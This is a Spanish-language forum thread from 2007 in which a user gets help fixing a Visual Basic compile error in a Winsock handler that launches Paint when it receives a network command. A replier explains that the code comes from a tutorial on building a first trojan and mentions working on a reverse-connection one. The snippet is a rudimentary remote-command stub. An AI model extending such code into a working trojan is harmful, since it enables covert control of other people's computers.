una manita porfa a este codigo (me da error)

Iniciado por cark, 27 Mayo 2007, 16:04 PM

0 Miembros y 1 Visitante están viendo este tema.

cark

hola estoy siguiendo el tuto de xenon y tengo el problema que no me deja hacer el exe para ver si me funciona la primera parte que es la conexion. dejo el codigo.

Private Sub Ws_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos
On Error GoTo error     ((((((((((((me da error en esta linea)))))
Dim datos As String
Ws.GetData datos 'metemos e la variable datos los datos que nos lleguen
If datos = "paint" Then Shell ("mspaint") 'si los datos eran = a "paint" entonces ejecuta el paint



el error que me da al querer hacer el exe es : label not definet  (si alguien me hecha un cable lo agradecere ya que el que no pregunta no se entera)saludos.-cark
End Sub

wACtOr

weno pos el codigo de xenon es este:

Private Sub WS_DataArrival(ByVal bytesTotal As Long)                        'en la llegada de datos
On Error GoTo Error
dim datos as string
ws.getdata datos          'metemos en la variable datos los datos que nos lleguen
if datos = "paint" then shell ("mspaint")                    ' si los datos eran = a "paint" entonces ejecuta el paint
end sub

creo que el problema que tienes es que te falta definir el error.

antes del "end sub" pon error:

creo que ese es el problema que te sale, o tb e seguido ese manual para acer mi primer troyano, pero lo e dejado y me e metido en el de kizar de multi conexsion inversa, que me esta quedando muy mono.

Por cierto, alguien sabe que pasa con la pag de kizar? gracias


cark

solucionado el tema!!!!!!!!!!!!!!! muchas gracias!!! le,lelele rele!!   a seguir con  el!!   ;D